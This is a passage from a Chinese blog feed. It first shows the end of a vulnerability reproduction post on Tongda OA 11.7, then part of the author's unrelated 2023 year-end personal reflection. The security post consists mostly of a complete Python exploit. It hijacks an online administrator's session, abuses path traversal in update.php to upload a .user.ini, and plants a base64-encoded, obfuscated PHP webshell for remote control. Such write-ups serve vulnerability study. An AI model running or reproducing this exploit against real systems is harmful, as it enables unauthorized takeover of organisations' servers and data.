class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>（create_function已在新版php中被弃用）</p><p>至此，再访问同目录下的/general/reportshop/workshop/report/attachment-remark/form.inc.php，即实现一句话木马上传，之后使用蚁剑连接即可</p><p>附上payload：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requests<span class="token keyword">import</span> sys<span class="token keyword">import</span> re<span class="token keyword">import</span> base64<span class="token keyword">import</span> time<span class="token keyword">from</span> requests<span class="token punctuation">.</span>packages<span class="token punctuation">.</span>urllib3<span class="token punctuation">.</span>exceptions <span class="token keyword">import</span> InsecureRequestWarning<span class="token keyword">def</span> <span class="token function">login_admin</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>    test_url <span class="token operator">=</span> url <span class="token operator">+</span> <span class="token string">"/mobile/auth_mobi.php?isAvatar=1&amp;uid=1&amp;P_VER=0"</span>    headers <span class="token operator">=</span> <span class="token punctuation">{</span>        <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span><span class="token punctuation">,</span>    <span class="token punctuation">}</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        requests<span class="token punctuation">.</span>packages<span class="token punctuation">.</span>urllib3<span class="token punctuation">.</span>disable_warnings<span class="token punctuation">(</span>InsecureRequestWarning<span class="token punctuation">)</span>        response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>test_url<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> verify<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token string">"RELOGIN"</span> <span class="token keyword">in</span> response<span class="token punctuation">.</span>text <span class="token keyword">and</span> response<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 目标用户为下线状态 --- {}\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>time<span class="token punctuation">.</span>asctime<span class="token punctuation">(</span> time<span class="token punctuation">.</span>localtime<span class="token punctuation">(</span>time<span class="token punctuation">.</span>time<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">elif</span> response<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span> <span class="token keyword">and</span> response<span class="token punctuation">.</span>text <span class="token operator">==</span> <span class="token string">""</span><span class="token punctuation">:</span>            Cookie <span class="token operator">=</span> re<span class="token punctuation">.</span>findall<span class="token punctuation">(</span><span class="token string">r'PHPSESSID=(.*?);'</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>response<span class="token punctuation">.</span>headers<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[32m[o] 用户上线 PHPSESSION: {} --- {}\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>Cookie<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token punctuation">,</span>time<span class="token punctuation">.</span>asctime<span class="token punctuation">(</span>time<span class="token punctuation">.</span>localtime<span class="token punctuation">(</span>time<span class="token punctuation">.</span>time<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            Cookie <span class="token operator">=</span> <span class="token string">"PHPSESSID={};USER_NAME_COOKIE=admin; OA_USER_ID=admin"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>Cookie<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span>            upload_ini<span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 请求失败，目标可能不存在漏洞"</span><span class="token punctuation">)</span>            sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 请求失败 \033[0m"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">upload_ini</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span><span class="token punctuation">:</span>    upload_url <span class="token operator">=</span> url <span class="token operator">+</span> <span class="token string">"/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/.user"</span>    headers <span class="token operator">=</span> <span class="token punctuation">{</span>        <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span><span class="token punctuation">,</span>        <span class="token string">"Accept"</span><span class="token punctuation">:</span> <span class="token string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span><span class="token punctuation">,</span>        <span class="token string">"Accept-Language"</span><span class="token punctuation">:</span> <span class="token string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span><span class="token punctuation">,</span>        <span class="token string">"Accept-Encoding"</span><span class="token punctuation">:</span> <span class="token string">"gzip, deflate"</span><span class="token punctuation">,</span>        <span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"multipart/form-data; boundary=---------------------------17518323986548992951984057104"</span><span class="token punctuation">,</span>        <span class="token string">"Connection"</span><span class="token punctuation">:</span> <span class="token string">"close"</span><span class="token punctuation">,</span>        <span class="token string">"Cookie"</span><span class="token punctuation">:</span> Cookie<span class="token punctuation">,</span>        <span class="token string">"Upgrade-Insecure-Requests"</span><span class="token punctuation">:</span> <span class="token string">"1"</span><span class="token punctuation">,</span>    <span class="token punctuation">}</span>    data <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64decode<span class="token punctuation">(</span><span class="token string">"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkuaW5pIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCmF1dG9fcHJlcGVuZF9maWxlPXBlaXFpLmxvZwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoK5o+Q5LqkCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQtLQ=="</span><span class="token punctuation">)</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        requests<span class="token punctuation">.</span>packages<span class="token punctuation">.</span>urllib3<span class="token punctuation">.</span>disable_warnings<span class="token punctuation">(</span>InsecureRequestWarning<span class="token punctuation">)</span>        response <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>upload_url<span class="token punctuation">,</span> data<span class="token operator">=</span>data<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> verify<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/.user \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token string">"档案已保存"</span> <span class="token keyword">in</span> response<span class="token punctuation">.</span>text <span class="token keyword">and</span> response<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[32m[o] 目标 {} 成功上传.user.ini文件, \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            upload_log<span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 目标 {} 上传.user.ini文件失败\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 请求失败 \033[0m"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">upload_log</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span><span class="token punctuation">:</span>    upload_url <span class="token operator">=</span> url <span class="token operator">+</span> <span class="token string">"/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop\workshop/report/attachment-remark/peiqi"</span>    headers <span class="token operator">=</span> <span class="token punctuation">{</span>        <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span><span class="token punctuation">,</span>        <span class="token string">"Accept"</span><span class="token punctuation">:</span> <span class="token string">"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"</span><span class="token punctuation">,</span>        <span class="token string">"Accept-Language"</span><span class="token punctuation">:</span> <span class="token string">"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"</span><span class="token punctuation">,</span>        <span class="token string">"Accept-Encoding"</span><span class="token punctuation">:</span> <span class="token string">"gzip, deflate"</span><span class="token punctuation">,</span>        <span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"multipart/form-data; boundary=---------------------------17518323986548992951984057104"</span><span class="token punctuation">,</span>        <span class="token string">"Connection"</span><span class="token punctuation">:</span> <span class="token string">"close"</span><span class="token punctuation">,</span>        <span class="token string">"Cookie"</span><span class="token punctuation">:</span>  Cookie<span class="token punctuation">,</span>        <span class="token string">"Upgrade-Insecure-Requests"</span><span class="token punctuation">:</span> <span class="token string">"1"</span><span class="token punctuation">,</span>    <span class="token punctuation">}</span>    data <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64decode<span class="token punctuation">(</span><span class="token string">"LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0icGVpcWkubG9nIgpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4KCjw/cGhwIAplY2hvICJQZWlRaV9XaWtpIjsKJGZPZ1Q9Y3JlYXRlX2Z1bmN0aW9uKGJhc2U2NF9kZWNvZGUoJ0pBPT0nKS5jaHIoMTE0MTk1Lzk5Mykuc3RyX3JvdDEzKCdiJykuc3RyX3JvdDEzKCd6JykuY2hyKDcwOC02MDcpLGNocigweGM2MGUvMHgxZjYpLmJhc2U2NF9kZWNvZGUoJ2RnPT0nKS5zdHJfcm90MTMoJ24nKS5jaHIoMzkwLTI4MikuY2hyKDB4MWFlLTB4MTg2KS5jaHIoMHgzYWMtMHgzODgpLmNocigweGQ1NjEvMHgxZGIpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5iYXNlNjRfZGVjb2RlKCdiUT09JykuYmFzZTY0X2RlY29kZSgnWlE9PScpLnN0cl9yb3QxMygnKScpLmNocig3OTgtNzM5KSk7JGZPZ1QoYmFzZTY0X2RlY29kZSgnT1RNMk4nLidETTNPMCcuJ0JsZGtGJy4nc0tDUmYnLicnLnN0cl9yb3QxMygnSCcpLnN0cl9yb3QxMygnUicpLmNocig0MTM4Mi83MjYpLnN0cl9yb3QxMygnRycpLmJhc2U2NF9kZWNvZGUoJ1ZnPT0nKS4nJy4nJy5iYXNlNjRfZGVjb2RlKCdSZz09Jykuc3RyX3JvdDEzKCdnJykuc3RyX3JvdDEzKCdEJykuYmFzZTY0X2RlY29kZSgnV2c9PScpLmNocigyMzc1MS8yNzMpLicnLidsUmFWMCcuJ3BPekk0Jy4nTURrek0nLidURTcnLicnKSk7Pz4KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InN1Ym1pdCIKCuaPkOS6pAotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE3NTE4MzIzOTg2NTQ4OTkyOTUxOTg0MDU3MTA0LS0K"</span><span class="token punctuation">)</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        requests<span class="token punctuation">.</span>packages<span class="token punctuation">.</span>urllib3<span class="token punctuation">.</span>disable_warnings<span class="token punctuation">(</span>InsecureRequestWarning<span class="token punctuation">)</span>        response <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">=</span>upload_url<span class="token punctuation">,</span> data<span class="token operator">=</span>data<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> verify<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[36m[o] 正在请求 {}/general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/peiqi \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token string">"档案已保存"</span> <span class="token keyword">in</span> response<span class="token punctuation">.</span>text <span class="token keyword">and</span> response<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[32m[o] 目标 {} 成功上传 peiqi.log 文件, \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            hack<span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 目标 {} 上传 peiqi.log 文件失败\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 请求失败 \033[0m"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">hack</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> Cookie<span class="token punctuation">)</span><span class="token punctuation">:</span>    hack_url <span class="token operator">=</span> url <span class="token operator">+</span> <span class="token string">"/general/reportshop/workshop/report/attachment-remark/form.inc.php?"</span>    headers <span class="token operator">=</span> <span class="token punctuation">{</span>        <span class="token string">"User-Agent"</span><span class="token punctuation">:</span> <span class="token string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span><span class="token punctuation">,</span>        <span class="token string">"Cookie"</span><span class="token punctuation">:</span>  Cookie<span class="token punctuation">,</span>    <span class="token punctuation">}</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        requests<span class="token punctuation">.</span>packages<span class="token punctuation">.</span>urllib3<span class="token punctuation">.</span>disable_warnings<span class="token punctuation">(</span>InsecureRequestWarning<span class="token punctuation">)</span>        response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">=</span>hack_url<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">,</span> verify<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[36m[o] 正在请求 {}/general/reportshop/workshop/report/attachment-remark/form.inc.php? \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token string">"PeiQi_Wiki"</span> <span class="token keyword">in</span> response<span class="token punctuation">.</span>text <span class="token keyword">and</span> response<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[32m[o] 目标 {} 存在漏洞，响应中包含 PeiQi_Wiki \033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[32m[o] 成功上传蚁剑木马 密码为: PeiQi \n[o] webshell路径: {}/general/reportshop/workshop/report/attachment-remark/form.inc.php?\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">else</span><span class="token punctuation">:</span>            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 目标 {} 不存在漏洞，响应中不包含 PeiQi_Wiki\033[0m"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span>            sys<span class="token punctuation">.</span>exit<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception <span class="token keyword">as</span> e<span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"\033[31m[x] 请求失败 \033[0m"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">'__main__'</span><span class="token punctuation">:</span>    url <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span><span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"\033[35mPlease input Attack Url\nUrl &gt;&gt;&gt; \033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>        login_admin<span class="token punctuation">(</span>url<span class="token punctuation">)</span>        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>PS.在payload的POST请求中禁用了SSL/TLS证书验证，因为向目标网站发送的是不安全的请求</p><hr><h4 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h4><p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/通达OA/通达OA v11.7 auth_mobi.php 在线用户登录漏洞.md">PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.7 auth_mobi.php 在线用户登录漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)</a></p><p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/通达OA/通达OA v11.8 update.php 后台文件包含命令执行漏洞.md">PeiQi-WIKI-Book/docs/wiki/oa/通达OA/通达OA v11.8 update.php 后台文件包含命令执行漏洞.md at main · PeiQi0/PeiQi-WIKI-Book (github.com)</a></p><p><a href="https://paper.seebug.org/1499/">通达 OA 代码审计篇二 ：11.8 后台 Getshell (seebug.org)</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;该漏洞是出现在通达OA系统的一个综合漏洞，适用于11.7版本及以下的通达OA系统，分为&lt;strong&gt;在线用户登录&lt;/strong&gt;和&lt;strong&gt;文件上传利用&lt;/strong&gt;两部分&lt;/p&gt;
&lt;p&gt;首先下载通达OA，这里以11.6版本的为例，下载后发现php文件全部被Z</summary>
      
    
    
    
    <category term="漏洞复现" scheme="https://c26h52.github.io/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
    
    <category term="web" scheme="https://c26h52.github.io/tags/web/"/>
    
    <category term="在线登录" scheme="https://c26h52.github.io/tags/%E5%9C%A8%E7%BA%BF%E7%99%BB%E5%BD%95/"/>
    
    <category term="文件上传" scheme="https://c26h52.github.io/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
    
  </entry>
  
  <entry>
    <title>2023年终总结</title>
    <link href="https://c26h52.github.io/2023/12/31/2023-nian-zhong-zong-jie/"/>
    <id>https://c26h52.github.io/2023/12/31/2023-nian-zhong-zong-jie/</id>
    <published>2023-12-30T16:12:01.000Z</published>
    <updated>2024-01-24T09:37:38.761Z</updated>
    
    <content type="html"><![CDATA[<h3 id="序言"><a href="#序言" class="headerlink" title="序言"></a>序言</h3><p>2023年1月1日的00点00分，我在干嘛呢？那个时候，我应该在打跨年的CATCTF。</p><p>如果你告诉那个时候的我，这个跨年夜还在打CTF、上半学期基本每天都泡图书馆的做题家，会在接下来的一年技术原地踏步、绩点高空跳水，那我很难不怀疑你有什么严重的精神类疾病。</p><p>然而，“摆烂”这两个字的确贯穿了我的整个2023年，我不仅完美适应了一天打鱼六天晒网的生活习惯，还成功用一个学期让自己的均分下降了四分——还好大学不像初高中有进退步红黑榜，不然我肯定是毫无悬念的黑榜状元。</p><p>所以我的2023到底经历了些什么呢？</p><p>我想，我应该从”历程“、”摆渡“和”焦虑“这三部分记录我的2023生涯（你没有看错，我也没有打错，是”摆渡“不是”摆烂“）</p><hr><h3 id="历程"><a href="#历程" class="headerlink" title="历程"></a>历程</h3><p>2023这一年我经历了什么很特别的事吗？</p><p>说“很特别”倒也不至于，但是总有几件难以忘怀的事可以拿出来说说。</p><p>因为朋友在微信群键政（妄议朝政），被网警予以从导员约谈、手写检讨到线下审讯、警察彻查群聊天记录的“优待”，身为群主的我彻夜难眠，经历了最紧张的一个夜晚——不过所幸第二天除了群解散无事发生。</p><p>和朋友从北海公园骑回学校，二十公里，近三个小时，虽然第二天双腿酸痛得连下地走路都成问题，但感觉能有一个人和自己一样喜欢慢悠悠地长途骑行是一段很精彩的旅途。</p><p>暑假和高中同学征服武功山，在没有登山杖的情况下野路攀上山巅，冒着滚落山谷的风险横穿山峰，最后带着汗水、疲倦和喜悦从崎岖的小路下山。</p><p>下半年入门摄影，在老同学和学长的指引下陆续记录了自己两次天津行，一次西山历险，两次环球影城游，一次校园初雪和一次故宫初雪，拍摄的相片在取景和后期的共同作用下越来越臻于自己心中“杰作”的标准。</p><p>在学院辩论表演赛上就“曾经拥有更遗憾”这个持方结辩，在舞台上表演向指缝倒水的行为艺术来论证“回忆像水一样，是很难被我们攥住的”（本来要用沙子的但搞不到，后来换食盐效果不佳，上台看见辩手席的农夫山泉突发奇想），后来去邮院参加活动被问“你是那天那个辩论赛倒水的学长吗？”</p><p>第一次在S赛（英雄联盟全球总决赛）上见证三个lpl（中国大陆赛区）队伍会师四强，当哔哩哔哩赞助的BLG掀翻lck（韩国赛区）的GEN时，我和朋友的欢呼声震耳欲聋。只可惜最后被lck的老牌豪门T1一穿四夺冠，没能看到lpl队伍捧起今年的冠军奖杯，但还是祝贺faker选手荣膺四冠。</p><p>第一次参加CTF线下赛，抱着旅游的心态，虽然几乎全程划水，连续三天十小时的断网比赛体验与有期徒刑无异，最后只获得一个优胜奖，但是从学长电脑上拷来的15G工具与模拟真实环境的靶场攻防体验使我受益良多。</p><p>第一次碰上地铁事故导致的地铁线局部停运，在朱辛庄站打不到出租车，只得选择在网吧包宿一晚，深夜在包间又硬又冷的椅子上迟迟无法入睡，应该是三百六十五的夜晚最噩梦的一个晚上，所幸第二天一早打到了回校的出租车。</p><p>六年前，我在玩逆转裁判系列，看RNG的小虎对战SKT的faker；六年后，我还是在玩逆转裁判系列，看WBG的小虎对战T1的faker。感觉生命中有些巧合，就是来佐证世界是一个巨大的循环往复的。</p><p>………………</p><p>也许2023年过去，比起2022年的自己，我并没有什么显著的变化或者丰厚的收获。但至少，每件大大小小的事，都在我的记忆中镌刻出自己别致的图样。这些图样绘制成一幅画作，向这个世界证明着我至少还是在鲜活而灿烂地活着，不管我有没有取得什么成就，有没有如自己所愿。</p><hr><h3 id="摆渡"><a href="#摆渡" class="headerlink" title="摆渡"></a>摆渡</h3><p>“摆渡“这个词，是我今年在重温《从你的全世界路过》时想到的，</p><blockquote><p>我是个摆渡人。他在岸这边落水了，我要把他送到河那岸去。河那岸有别人在等他，不是我，我是摆渡人。</p></blockquote><p>原故事是小玉追求一个有妇之夫马力，希望渺茫，在欣赏马力的抽象画时对作者说出这样一段话。后来马力夫人出轨，大家原以为小玉有机会，但在小玉和奸夫淫妇比拼“九洞高尔夫”时，马力莫名心疼被奸夫抛弃的前妻，并将她背回家中。</p><p>而我个人觉得“摆渡”的含义不止于此，”摆渡“应该分为自己对自己的摆渡，自己对他人的摆渡，和他人对自己的摆渡。</p><p>自己对自己的摆渡，就是自己做纤夫，把自己渡到河对岸。客观来说，每个人都应该做自己的“摆渡人”——至少你不能指望有什么人无时无刻为你人生的扁舟引航，对自己的摆渡，可以是犯错之后自我救赎，接受心灵的洗礼；也可以是成长之时自我提升，迎接更好的自己。</p><p>对于我来说，我今年对自己的摆渡生涯，就和开头所说的相符——摆烂。虽然”摆渡“和”摆烂“有所差别，但对我自己来说，我对自己的摆渡与摆烂别无二致——就像一个醉酒的纤夫，把自己的灵魂载在船上，然后晕晕乎乎地驾驶着摇摇晃晃的船只，结果船只一个不稳，自己的肉体和精神都落入了水中。</p><p>课业上的颓废倒退，技术上的停滞长进，似乎从下学期课程表安排肉眼可见的密集开始，一整年我都几乎失去了学习与进步的动力——这不能归咎于”本科教育“”课内无用论“等大而空的借口，因为即使逃避了每日的课程，我也没有将多少空闲时间用在增进技术上，现在自己的技术栈跟一张白纸也没有什么太大区别。</p><p>只能说，当我年末回顾自己落汤鸡一般的窘境时，我希望自己来年能够扶自己一把，重新起航，平稳驶向理想的彼岸吧。</p><p>自己对他人的摆渡，就是自己做纤夫，把别人渡到河对岸。人生没有指南针，很多人“当局者迷”，没有办法时刻明白自己的航向，此时你作为摆渡人，将他们渡到长河彼岸，迎接岸对面等待他们的人或事，譬如情人眷属，人生追求，亦是一种帮助。</p><p>回顾这一年，我似乎没怎么当过他人的摆渡人。唯一一次我试图掌舵，是劝说一个想进实验班的朋友别进，因为实验班风评向来是事多分少，压力沉重，但是我的朋友认为驶向实验班的航道能够实现对自己实践能力的提升，所以我没有强行将船只掉头——我认为每个人对自己航行的追求都有各自的想法与主意，人与人之间价值观有所不同，除了别人的船只陷入道德与法律黑色地带的漩涡的情境，我都不会干预其他人的孤舟将驶向何方——虽然过了半年，他受不了实验